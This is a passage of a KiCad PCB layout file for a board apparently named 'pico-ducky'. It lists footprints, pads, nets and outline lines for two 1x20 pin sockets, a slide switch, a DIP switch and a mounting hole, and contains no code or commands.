(fp_line (start -1.27 -1.27) (end 0.635 -1.27) (layer "F.Fab") (width 0.1) (tstamp 46aecb8d-9ecb-45b1-85b3-c48114c449a4))
|
||||
(fp_line (start 0.635 -1.27) (end 1.27 -0.635) (layer "F.Fab") (width 0.1) (tstamp c587cddf-70f7-45f9-a743-257eda0ecb2b))
|
||||
(pad "1" thru_hole rect locked (at 0 0) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 11 "unconnected-(J2-Pad1)") (pinfunction "Pin_1") (pintype "passive") (tstamp 133696af-8bcb-4f2a-918a-966f6f31bafd))
|
||||
(pad "2" thru_hole oval locked (at 0 2.54) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 12 "unconnected-(J2-Pad2)") (pinfunction "Pin_2") (pintype "passive") (tstamp 9b86eb10-9f20-4c99-95e9-2380fe3f9b14))
|
||||
(pad "3" thru_hole oval locked (at 0 5.08) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 13 "unconnected-(J2-Pad3)") (pinfunction "Pin_3") (pintype "passive") (tstamp 1dd65e06-1b19-42b2-9e48-aa593ac50db3))
|
||||
(pad "4" thru_hole oval locked (at 0 7.62) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 14 "unconnected-(J2-Pad4)") (pinfunction "Pin_4") (pintype "passive") (tstamp 9a2a4879-e6b7-4350-b86b-5104d34e2a80))
|
||||
(pad "5" thru_hole oval locked (at 0 10.16) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 15 "unconnected-(J2-Pad5)") (pinfunction "Pin_5") (pintype "passive") (tstamp a49a4d82-48bd-42b8-95c9-1c983664fc79))
|
||||
(pad "6" thru_hole oval locked (at 0 12.7) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 16 "unconnected-(J2-Pad6)") (pinfunction "Pin_6") (pintype "passive") (tstamp 1d44b2aa-9869-4de8-b803-3ac1829b85dc))
|
||||
(pad "7" thru_hole oval locked (at 0 15.24) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 17 "unconnected-(J2-Pad7)") (pinfunction "Pin_7") (pintype "passive") (tstamp fd35caac-7fa3-4ae4-adc7-7771f7f34b82))
|
||||
(pad "8" thru_hole oval locked (at 0 17.78) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 18 "unconnected-(J2-Pad8)") (pinfunction "Pin_8") (pintype "passive") (tstamp a23fda0c-76b9-4947-9d26-721683d9824c))
|
||||
(pad "9" thru_hole oval locked (at 0 20.32) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 19 "unconnected-(J2-Pad9)") (pinfunction "Pin_9") (pintype "passive") (tstamp 3634acc5-1d40-409a-b593-f224d9318583))
|
||||
(pad "10" thru_hole oval locked (at 0 22.86) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 20 "unconnected-(J2-Pad10)") (pinfunction "Pin_10") (pintype "passive") (tstamp f5b3ac78-e150-4b32-bc84-9d75c87fb341))
|
||||
(pad "11" thru_hole oval locked (at 0 25.4) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 21 "unconnected-(J2-Pad11)") (pinfunction "Pin_11") (pintype "passive") (tstamp 2f21e29d-624e-4cb4-9a3c-1a75369755aa))
|
||||
(pad "12" thru_hole oval locked (at 0 27.94) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 22 "unconnected-(J2-Pad12)") (pinfunction "Pin_12") (pintype "passive") (tstamp 95ec8c15-617f-40e1-a3f7-7e9eb27d7908))
|
||||
(pad "13" thru_hole oval locked (at 0 30.48) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 23 "unconnected-(J2-Pad13)") (pinfunction "Pin_13") (pintype "passive") (tstamp 325a060a-bb55-4a28-b469-3ff109457870))
|
||||
(pad "14" thru_hole oval locked (at 0 33.02) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 24 "unconnected-(J2-Pad14)") (pinfunction "Pin_14") (pintype "passive") (tstamp d0064f4c-eaa8-4fc1-8c95-5edfe18ce9e5))
|
||||
(pad "15" thru_hole oval locked (at 0 35.56) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 25 "unconnected-(J2-Pad15)") (pinfunction "Pin_15") (pintype "passive") (tstamp 4a7017bb-a698-433b-a0be-587786fcc0bb))
|
||||
(pad "16" thru_hole oval locked (at 0 38.1) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 26 "unconnected-(J2-Pad16)") (pinfunction "Pin_16") (pintype "passive") (tstamp 6d65a827-125f-4e46-bf64-3cc60fd414e5))
|
||||
(pad "17" thru_hole oval locked (at 0 40.64) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 27 "unconnected-(J2-Pad17)") (pinfunction "Pin_17") (pintype "passive") (tstamp 08522cb4-e044-4d86-a062-8eb79a22f851))
|
||||
(pad "18" thru_hole oval locked (at 0 43.18) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 28 "unconnected-(J2-Pad18)") (pinfunction "Pin_18") (pintype "passive") (tstamp 66fc6b30-d33c-405d-9170-5e4e3b401c64))
|
||||
(pad "19" thru_hole oval locked (at 0 45.72) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 29 "unconnected-(J2-Pad19)") (pinfunction "Pin_19") (pintype "passive") (tstamp 8f9a72c7-905a-4381-80e3-5385498e2e49))
|
||||
(pad "20" thru_hole oval locked (at 0 48.26) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 30 "unconnected-(J2-Pad20)") (pinfunction "Pin_20") (pintype "passive") (tstamp 1b2eb90f-4916-4496-934c-ebfaf59fd7d2))
|
||||
(model "${KICAD6_3DMODEL_DIR}/Connector_PinSocket_2.54mm.3dshapes/PinSocket_1x20_P2.54mm_Vertical.wrl"
|
||||
(offset (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
|
||||
(footprint "MSS-102545-14A-D:SW_MSS-102545-14A-D" (layer "F.Cu")
|
||||
(tedit 61F6FABF) (tstamp 477892a1-722e-4cda-bb6c-fcdb8ba5f93e)
|
||||
(at 105.2 98 -90)
|
||||
(property "MANUFACTURER" "CUI Devices")
|
||||
(property "MAXIMUM_PACKAGE_HEIGHT" "6.5 mm")
|
||||
(property "PARTREV" "1.0")
|
||||
(property "STANDARD" "Manufacturer Recommendations")
|
||||
(property "Sheetfile" "pico-ducky.kicad_sch")
|
||||
(property "Sheetname" "")
|
||||
(path "/6d421685-6187-4a3c-8570-78b8305b32fe")
|
||||
(attr through_hole)
|
||||
(fp_text reference "S1" (at -1.825 -2.635 90) (layer "F.SilkS")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 560d05a7-84e4-403a-80d1-f287a4032b8a)
|
||||
)
|
||||
(fp_text value "MSS-102545-14A-D" (at 7.065 2.635 90) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 2a4111b7-8149-4814-9344-3b8119cd75e4)
|
||||
)
|
||||
(fp_line (start 5 -1.25) (end -5 -1.25) (layer "F.SilkS") (width 0.127) (tstamp 66ca01b3-51ff-4294-9b77-4492e98f6aec))
|
||||
(fp_line (start -5 1.25) (end 5 1.25) (layer "F.SilkS") (width 0.127) (tstamp 9f969b13-1795-4747-8326-93bdc304ed56))
|
||||
(fp_line (start 5 1.25) (end 5 -1.25) (layer "F.SilkS") (width 0.127) (tstamp b9d4de74-d246-495d-8b63-12ab2133d6d6))
|
||||
(fp_line (start -5 -1.25) (end -5 1.25) (layer "F.SilkS") (width 0.127) (tstamp fb0bf2a0-d317-42f7-b022-b5e05481f6be))
|
||||
(fp_circle (center 0 1.85) (end 0.1 1.85) (layer "F.SilkS") (width 0.2) (fill none) (tstamp 0fb27e11-fde6-4a25-adbb-e9684771b369))
|
||||
(fp_line (start 5.25 -1.5) (end -5.25 -1.5) (layer "F.CrtYd") (width 0.05) (tstamp 0e32af77-726b-4e11-9f99-2e2484ba9e9b))
|
||||
(fp_line (start -5.25 1.5) (end 5.25 1.5) (layer "F.CrtYd") (width 0.05) (tstamp 152cd84e-bbed-4df5-a866-d1ab977b0966))
|
||||
(fp_line (start 5.25 1.5) (end 5.25 -1.5) (layer "F.CrtYd") (width 0.05) (tstamp 2ee28fa9-d785-45a1-9a1b-1be02ad8cd0b))
|
||||
(fp_line (start -5.25 -1.5) (end -5.25 1.5) (layer "F.CrtYd") (width 0.05) (tstamp 8a427111-6480-4b0c-b097-d8b6a0ee1819))
|
||||
(fp_line (start -5 -1.25) (end -5 1.25) (layer "F.Fab") (width 0.127) (tstamp 022502e0-e724-4b75-bc35-3c5984dbeb76))
|
||||
(fp_line (start 5 1.25) (end 5 -1.25) (layer "F.Fab") (width 0.127) (tstamp 2eea20e6-112c-411a-b615-885ae773135a))
|
||||
(fp_line (start 5 -1.25) (end -5 -1.25) (layer "F.Fab") (width 0.127) (tstamp 49fec31e-3712-4229-8142-b191d90a97d0))
|
||||
(fp_line (start -5 1.25) (end 5 1.25) (layer "F.Fab") (width 0.127) (tstamp d655bb0a-cbf9-4908-ad60-7024ff468fbd))
|
||||
(fp_circle (center 0 1.85) (end 0.1 1.85) (layer "F.Fab") (width 0.2) (fill none) (tstamp 08ec951f-e7eb-41cf-9589-697107a98e88))
|
||||
(pad "1" thru_hole rect locked (at 0 0 270) (size 1.308 1.308) (drill 0.8) (layers *.Cu *.Mask)
|
||||
(net 36 "Net-(J1-Pad18)") (pintype "passive") (tstamp 56d2bc5d-fd72-4542-ab0f-053a5fd60efa))
|
||||
(pad "2" thru_hole circle locked (at -2.54 0 270) (size 1.308 1.308) (drill 0.8) (layers *.Cu *.Mask)
|
||||
(net 41 "unconnected-(S1-Pad2)") (pintype "passive") (tstamp 09bbea88-8bd7-48ec-baae-1b4a9a11a40e))
|
||||
(pad "3" thru_hole circle locked (at 2.54 0 270) (size 1.308 1.308) (drill 0.8) (layers *.Cu *.Mask)
|
||||
(net 37 "Net-(J1-Pad20)") (pintype "passive") (tstamp 41c18011-40db-4384-9ba4-c0158d0d9d6a))
|
||||
)
|
||||
|
||||
(footprint "SK-14D01-G6:SK-14D01-G 6" (layer "F.Cu")
|
||||
(tedit 620516C0) (tstamp 8174b4de-74b1-48db-ab8e-c8432251095b)
|
||||
(at 105.4 71.8 -90)
|
||||
(property "Sheetfile" "pico-ducky.kicad_sch")
|
||||
(property "Sheetname" "")
|
||||
(path "/7c48a97b-1931-421f-af9d-e88a00997ace")
|
||||
(attr through_hole)
|
||||
(fp_text reference "SW3" (at 5 -2.1463 90) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 7edc9030-db7b-43ac-a1b3-b87eeacb4c2d)
|
||||
)
|
||||
(fp_text value "SK-14D01-G_6" (at 5 -2.1463 90) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 08a7c925-7fae-4530-b0c9-120e185cb318)
|
||||
)
|
||||
(fp_text user "*" (at -1 -0.635 90) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 03c52831-5dc5-43c5-a442-8d23643b46fb)
|
||||
)
|
||||
(fp_text user "*" (at -1 -0.635 90) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 0b21a65d-d20b-411e-920a-75c343ac5136)
|
||||
)
|
||||
(fp_text user "Copyright 2021 Accelerated Designs. All rights reserved." (at 0 0 90) (layer "Cmts.User") hide
|
||||
(effects (font (size 0.127 0.127) (thickness 0.002)))
|
||||
(tstamp fe8d9267-7834-48d6-a191-c8724b2ee78d)
|
||||
)
|
||||
(fp_text user "*" (at -1 0.635 90) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 3cd1bda0-18db-417d-b581-a0c50623df68)
|
||||
)
|
||||
(fp_text user "*" (at -1 0.635 90) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp d57dcfee-5058-4fc2-a68b-05f9a48f685b)
|
||||
)
|
||||
(fp_line (start 12.4295 2.2733) (end 7.1336 2.2733) (layer "F.SilkS") (width 0.12) (tstamp 1a1ab354-5f85-45f9-938c-9f6c4c8c3ea2))
|
||||
(fp_line (start -2.4295 -1.163274) (end -2.4295 -2.2733) (layer "F.SilkS") (width 0.12) (tstamp 2d210a96-f81f-42a9-8bf4-1b43c11086f3))
|
||||
(fp_line (start 4.873 2.2733) (end -2.4295 2.2733) (layer "F.SilkS") (width 0.12) (tstamp 4c8eb964-bdf4-44de-90e9-e2ab82dd5313))
|
||||
(fp_line (start 12.4295 -2.2733) (end 12.4295 -1.163274) (layer "F.SilkS") (width 0.12) (tstamp 7aed3a71-054b-4aaa-9c0a-030523c32827))
|
||||
(fp_line (start -2.4295 -2.2733) (end 12.4295 -2.2733) (layer "F.SilkS") (width 0.12) (tstamp 9bb20359-0f8b-45bc-9d38-6626ed3a939d))
|
||||
(fp_line (start -2.4295 2.2733) (end -2.4295 1.163274) (layer "F.SilkS") (width 0.12) (tstamp aa14c3bd-4acc-4908-9d28-228585a22a9d))
|
||||
(fp_line (start 12.4295 1.163274) (end 12.4295 2.2733) (layer "F.SilkS") (width 0.12) (tstamp e857610b-4434-4144-b04e-43c1ebdc5ceb))
|
||||
(fp_line (start 7.2606 8.3947) (end 7.2606 2.4003) (layer "F.CrtYd") (width 0.05) (tstamp 0f54db53-a272-4955-88fb-d7ab00657bb0))
|
||||
(fp_line (start -2.5565 -1.1303) (end -3.2303 -1.1303) (layer "F.CrtYd") (width 0.05) (tstamp 2d6db888-4e40-41c8-b701-07170fc894bc))
|
||||
(fp_line (start 13.2303 -1.1303) (end 12.5565 -1.1303) (layer "F.CrtYd") (width 0.05) (tstamp 31e08896-1992-4725-96d9-9d2728bca7a3))
|
||||
(fp_line (start -2.5565 1.1303) (end -2.5565 2.4003) (layer "F.CrtYd") (width 0.05) (tstamp 3aaee4c4-dbf7-49a5-a620-9465d8cc3ae7))
|
||||
(fp_line (start -3.2303 1.1303) (end -2.5565 1.1303) (layer "F.CrtYd") (width 0.05) (tstamp 5528bcad-2950-4673-90eb-c37e6952c475))
|
||||
(fp_line (start 13.2303 1.1303) (end 13.2303 -1.1303) (layer "F.CrtYd") (width 0.05) (tstamp 6441b183-b8f2-458f-a23d-60e2b1f66dd6))
|
||||
(fp_line (start -2.5565 -2.4003) (end -2.5565 -1.1303) (layer "F.CrtYd") (width 0.05) (tstamp 66043bca-a260-4915-9fce-8a51d324c687))
|
||||
(fp_line (start -3.2303 -1.1303) (end -3.2303 1.1303) (layer "F.CrtYd") (width 0.05) (tstamp 7bbf981c-a063-4e30-8911-e4228e1c0743))
|
||||
(fp_line (start 7.2606 2.4003) (end 12.5565 2.4003) (layer "F.CrtYd") (width 0.05) (tstamp 80094b70-85ab-4ff6-934b-60d5ee65023a))
|
||||
(fp_line (start 12.5565 -2.4003) (end -2.5565 -2.4003) (layer "F.CrtYd") (width 0.05) (tstamp 852dabbf-de45-4470-8176-59d37a754407))
|
||||
(fp_line (start 4.746 8.3947) (end 7.2606 8.3947) (layer "F.CrtYd") (width 0.05) (tstamp 922058ca-d09a-45fd-8394-05f3e2c1e03a))
|
||||
(fp_line (start 4.746 2.4003) (end 4.746 8.3947) (layer "F.CrtYd") (width 0.05) (tstamp 97fe9c60-586f-4895-8504-4d3729f5f81a))
|
||||
(fp_line (start 12.5565 -1.1303) (end 12.5565 -2.4003) (layer "F.CrtYd") (width 0.05) (tstamp b5352a33-563a-4ffe-a231-2e68fb54afa3))
|
||||
(fp_line (start -2.5565 2.4003) (end 4.746 2.4003) (layer "F.CrtYd") (width 0.05) (tstamp bdc7face-9f7c-4701-80bb-4cc144448db1))
|
||||
(fp_line (start 12.5565 1.1303) (end 13.2303 1.1303) (layer "F.CrtYd") (width 0.05) (tstamp bfc0aadc-38cf-466e-a642-68fdc3138c78))
|
||||
(fp_line (start 12.5565 2.4003) (end 12.5565 1.1303) (layer "F.CrtYd") (width 0.05) (tstamp d4a1d3c4-b315-4bec-9220-d12a9eab51e0))
|
||||
(fp_line (start 5 2.1463) (end 5 8.1407) (layer "F.Fab") (width 0.1) (tstamp 29e78086-2175-405e-9ba3-c48766d2f50c))
|
||||
(fp_line (start 12.3025 -2.1463) (end 12.3025 2.1463) (layer "F.Fab") (width 0.1) (tstamp 666713b0-70f4-42df-8761-f65bc212d03b))
|
||||
(fp_line (start -2.3025 -2.1463) (end 12.3025 -2.1463) (layer "F.Fab") (width 0.1) (tstamp 6c2e273e-743c-4f1e-a647-4171f8122550))
|
||||
(fp_line (start 12.3025 2.1463) (end -2.3025 2.1463) (layer "F.Fab") (width 0.1) (tstamp 7dc880bc-e7eb-4cce-8d8c-0b65a9dd788e))
|
||||
(fp_line (start -2.3025 2.1463) (end -2.3025 -2.1463) (layer "F.Fab") (width 0.1) (tstamp 9157f4ae-0244-4ff1-9f73-3cb4cbb5f280))
|
||||
(fp_line (start 5 8.1407) (end 7.0066 8.1407) (layer "F.Fab") (width 0.1) (tstamp 94a873dc-af67-4ef9-8159-1f7c93eeb3d7))
|
||||
(fp_line (start 7.0066 2.1463) (end 7.0066 8.1407) (layer "F.Fab") (width 0.1) (tstamp a1823eb2-fb0d-4ed8-8b96-04184ac3a9d5))
|
||||
(pad "1" thru_hole circle (at 0 0 270) (size 1.3208 1.3208) (drill 0.8128) (layers *.Cu *.Mask)
|
||||
(net 32 "Net-(J1-Pad6)") (pinfunction "1") (pintype "unspecified") (tstamp 704d6d51-bb34-4cbf-83d8-841e208048d8))
|
||||
(pad "2" thru_hole circle (at 2.000001 0 270) (size 1.3208 1.3208) (drill 0.8128) (layers *.Cu *.Mask)
|
||||
(net 33 "Net-(J1-Pad7)") (pinfunction "2") (pintype "unspecified") (tstamp 0eaa98f0-9565-4637-ace3-42a5231b07f7))
|
||||
(pad "3" thru_hole circle (at 4 0 270) (size 1.3208 1.3208) (drill 0.8128) (layers *.Cu *.Mask)
|
||||
(net 38 "Net-(J1-Pad8)") (pinfunction "3") (pintype "unspecified") (tstamp 181abe7a-f941-42b6-bd46-aaa3131f90fb))
|
||||
(pad "4" thru_hole circle (at 6.000001 0 270) (size 1.3208 1.3208) (drill 0.8128) (layers *.Cu *.Mask)
|
||||
(net 39 "Net-(J1-Pad13)") (pinfunction "4") (pintype "unspecified") (tstamp ce83728b-bebd-48c2-8734-b6a50d837931))
|
||||
(pad "5" thru_hole circle (at 7.999999 0 270) (size 1.3208 1.3208) (drill 0.8128) (layers *.Cu *.Mask)
|
||||
(net 34 "Net-(J1-Pad14)") (pinfunction "5") (pintype "unspecified") (tstamp c41b3c8b-634e-435a-b582-96b83bbd4032))
|
||||
(pad "6" thru_hole circle (at 10 0 270) (size 1.3208 1.3208) (drill 0.8128) (layers *.Cu *.Mask)
|
||||
(net 35 "Net-(J1-Pad15)") (pinfunction "6") (pintype "unspecified") (tstamp 9340c285-5767-42d5-8b6d-63fe2a40ddf3))
|
||||
(pad "7" thru_hole circle (at -2.1 0 270) (size 1.7526 1.7526) (drill 1.2446) (layers *.Cu *.Mask) (tstamp 1831fb37-1c5d-42c4-b898-151be6fca9dc))
|
||||
(pad "8" thru_hole circle (at 12.1 0 270) (size 1.7526 1.7526) (drill 1.2446) (layers *.Cu *.Mask) (tstamp 0f22151c-f260-4674-b486-4710a2c42a55))
|
||||
)
|
||||
|
||||
(footprint "MountingHole:MountingHole_3.2mm_M3" (layer "F.Cu")
|
||||
(tedit 56D1B4CB) (tstamp 981ff4de-0330-4757-b746-0cb983df5e7c)
|
||||
(at 105.5 46.6)
|
||||
(descr "Mounting Hole 3.2mm, no annular, M3")
|
||||
(tags "mounting hole 3.2mm no annular m3")
|
||||
(attr exclude_from_pos_files exclude_from_bom)
|
||||
(fp_text reference "REF**" (at 0 -4.2) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 9505be36-b21c-4db8-9484-dd0861395d26)
|
||||
)
|
||||
(fp_text value "MountingHole_3.2mm_M3" (at 0 4.2) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 49d97c73-e37a-4154-9d0a-88037e40cc11)
|
||||
)
|
||||
(fp_text user "${REFERENCE}" (at 0.3 0) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 7943ed8c-e760-4ace-9c5f-baf5589fae39)
|
||||
)
|
||||
(fp_circle (center 0 0) (end 3.2 0) (layer "Cmts.User") (width 0.15) (fill none) (tstamp 59e09498-d26e-4ba7-b47d-fece2ea7c274))
|
||||
(fp_circle (center 0 0) (end 3.45 0) (layer "F.CrtYd") (width 0.05) (fill none) (tstamp ea4f0afc-785b-40cf-8ef1-cbe20404c18b))
|
||||
(pad "" np_thru_hole circle (at 0 0) (size 3.2 3.2) (drill 3.2) (layers *.Cu *.Mask) (tstamp fead07ab-5a70-40db-ada8-c72dcc827bfc))
|
||||
)
|
||||
|
||||
(footprint "Connector_PinSocket_2.54mm:PinSocket_1x20_P2.54mm_Vertical" (layer "F.Cu")
|
||||
(tedit 5A19A41E) (tstamp a0db2c5f-7239-49ae-ba47-437c621e7ff8)
|
||||
(at 112.95 53.205)
|
||||
(descr "Through hole straight socket strip, 1x20, 2.54mm pitch, single row (from Kicad 4.0.7), script generated")
|
||||
(tags "Through hole socket strip THT 1x20 2.54mm single row")
|
||||
(property "Sheetfile" "pico-ducky.kicad_sch")
|
||||
(property "Sheetname" "")
|
||||
(path "/5493e8cd-8323-4518-b41a-1736b1fae7d0")
|
||||
(attr through_hole)
|
||||
(fp_text reference "J1" (at 0 -2.77) (layer "F.SilkS")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 5e597a99-b966-40ca-93cf-60af0be59632)
|
||||
)
|
||||
(fp_text value "Conn_01x20_Female" (at 0 51.03) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 62785fc4-216d-4983-9ac2-0f8d21d68772)
|
||||
)
|
||||
(fp_text user "${REFERENCE}" (at 0 24.13 90) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 76011dd7-642b-438a-bb90-b324383a7851)
|
||||
)
|
||||
(fp_line (start -1.33 49.59) (end 1.33 49.59) (layer "F.SilkS") (width 0.12) (tstamp 016969ab-09a8-471c-ace6-1bdaa379b509))
|
||||
(fp_line (start -1.33 1.27) (end 1.33 1.27) (layer "F.SilkS") (width 0.12) (tstamp 05f453e1-e6ac-4725-ac6f-c737cb237871))
|
||||
(fp_line (start 1.33 -1.33) (end 1.33 0) (layer "F.SilkS") (width 0.12) (tstamp d539fbf6-d474-41de-bda0-19ba022ca66a))
|
||||
(fp_line (start 0 -1.33) (end 1.33 -1.33) (layer "F.SilkS") (width 0.12) (tstamp df232253-71d7-4d83-a4f3-12da054a77bd))
|
||||
(fp_line (start -1.33 1.27) (end -1.33 49.59) (layer "F.SilkS") (width 0.12) (tstamp ec54d593-d947-40d5-9ce4-01090f07d42f))
|
||||
(fp_line (start 1.33 1.27) (end 1.33 49.59) (layer "F.SilkS") (width 0.12) (tstamp f12847bd-98ae-41f9-b585-95021b3ae723))
|
||||
(fp_line (start -1.8 50) (end -1.8 -1.8) (layer "F.CrtYd") (width 0.05) (tstamp 070365ef-242a-4d41-bc0a-b8ed9b91feca))
|
||||
(fp_line (start -1.8 -1.8) (end 1.75 -1.8) (layer "F.CrtYd") (width 0.05) (tstamp 40950b1d-ca89-4396-b2fc-a613e266e57c))
|
||||
(fp_line (start 1.75 -1.8) (end 1.75 50) (layer "F.CrtYd") (width 0.05) (tstamp be6525b4-e91c-443a-b608-161699ca5e45))
|
||||
(fp_line (start 1.75 50) (end -1.8 50) (layer "F.CrtYd") (width 0.05) (tstamp daf121ec-2c00-4e96-96aa-2bc6f7a0fed5))
|
||||
(fp_line (start -1.27 49.53) (end -1.27 -1.27) (layer "F.Fab") (width 0.1) (tstamp 181a4764-a462-4b4f-82ec-35df94857db0))
|
||||
(fp_line (start 1.27 49.53) (end -1.27 49.53) (layer "F.Fab") (width 0.1) (tstamp 44d072f9-64e1-459e-80d1-c82fa5b6cb3e))
|
||||
(fp_line (start 0.635 -1.27) (end 1.27 -0.635) (layer "F.Fab") (width 0.1) (tstamp 790e6361-4226-4a79-a7b2-5b2ee8aee9e8))
|
||||
(fp_line (start 1.27 -0.635) (end 1.27 49.53) (layer "F.Fab") (width 0.1) (tstamp ec1f1e1b-be42-4866-9a6b-b89e6e88f2c5))
|
||||
(fp_line (start -1.27 -1.27) (end 0.635 -1.27) (layer "F.Fab") (width 0.1) (tstamp f891c330-6d8a-4428-9e37-e8db48c0cba9))
|
||||
(pad "1" thru_hole rect locked (at 0 0) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 40 "Net-(J1-Pad1)") (pinfunction "Pin_1") (pintype "passive") (tstamp feb0929e-d283-4515-ba6d-4fb6ed542932))
|
||||
(pad "2" thru_hole oval locked (at 0 2.54) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 1 "unconnected-(J1-Pad2)") (pinfunction "Pin_2") (pintype "passive") (tstamp 3febc2fd-da92-4b4c-94c6-7e9024943f53))
|
||||
(pad "3" thru_hole oval locked (at 0 5.08) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 31 "Net-(J1-Pad3)") (pinfunction "Pin_3") (pintype "passive") (tstamp 2a4b2c44-d6a9-4780-82b0-ca745511a184))
|
||||
(pad "4" thru_hole oval locked (at 0 7.62) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 2 "unconnected-(J1-Pad4)") (pinfunction "Pin_4") (pintype "passive") (tstamp 629d43c1-9248-4504-bcc8-0325e1994502))
|
||||
(pad "5" thru_hole oval locked (at 0 10.16) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 3 "unconnected-(J1-Pad5)") (pinfunction "Pin_5") (pintype "passive") (tstamp 71c421cf-b82d-4b3a-b6f7-ad75b4b97b86))
|
||||
(pad "6" thru_hole oval locked (at 0 12.7) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 32 "Net-(J1-Pad6)") (pinfunction "Pin_6") (pintype "passive") (tstamp 121a20b0-ed40-482c-8ad3-5ff84667baa9))
|
||||
(pad "7" thru_hole oval locked (at 0 15.24) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 33 "Net-(J1-Pad7)") (pinfunction "Pin_7") (pintype "passive") (tstamp 39dfcc95-5a6d-4987-a05e-ce056d625d10))
|
||||
(pad "8" thru_hole oval locked (at 0 17.78) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 38 "Net-(J1-Pad8)") (pinfunction "Pin_8") (pintype "passive") (tstamp b0896365-9965-4303-b601-ab1270a33206))
|
||||
(pad "9" thru_hole oval locked (at 0 20.32) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 4 "unconnected-(J1-Pad9)") (pinfunction "Pin_9") (pintype "passive") (tstamp fcb90f38-f221-4e19-8961-a534ced69fbc))
|
||||
(pad "10" thru_hole oval locked (at 0 22.86) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 5 "unconnected-(J1-Pad10)") (pinfunction "Pin_10") (pintype "passive") (tstamp c54eec57-39ef-41e4-bbaf-4eee6a3ff4b2))
|
||||
(pad "11" thru_hole oval locked (at 0 25.4) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 6 "unconnected-(J1-Pad11)") (pinfunction "Pin_11") (pintype "passive") (tstamp 1576d8d0-12c8-4054-834f-2c4176251961))
|
||||
(pad "12" thru_hole oval locked (at 0 27.94) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 7 "unconnected-(J1-Pad12)") (pinfunction "Pin_12") (pintype "passive") (tstamp 02eee15d-cf8f-4967-9a10-3f1e76e39294))
|
||||
(pad "13" thru_hole oval locked (at 0 30.48) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 39 "Net-(J1-Pad13)") (pinfunction "Pin_13") (pintype "passive") (tstamp a96926a0-932a-4907-aecc-0b46506674fc))
|
||||
(pad "14" thru_hole oval locked (at 0 33.02) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 34 "Net-(J1-Pad14)") (pinfunction "Pin_14") (pintype "passive") (tstamp 97550abf-a4e2-491b-8c4b-fc5bcb83e111))
|
||||
(pad "15" thru_hole oval locked (at 0 35.56) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 35 "Net-(J1-Pad15)") (pinfunction "Pin_15") (pintype "passive") (tstamp c85a30cd-7820-4060-a4c2-50ec142d23a1))
|
||||
(pad "16" thru_hole oval locked (at 0 38.1) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 8 "unconnected-(J1-Pad16)") (pinfunction "Pin_16") (pintype "passive") (tstamp f68d080c-0841-4795-a272-fd003222b937))
|
||||
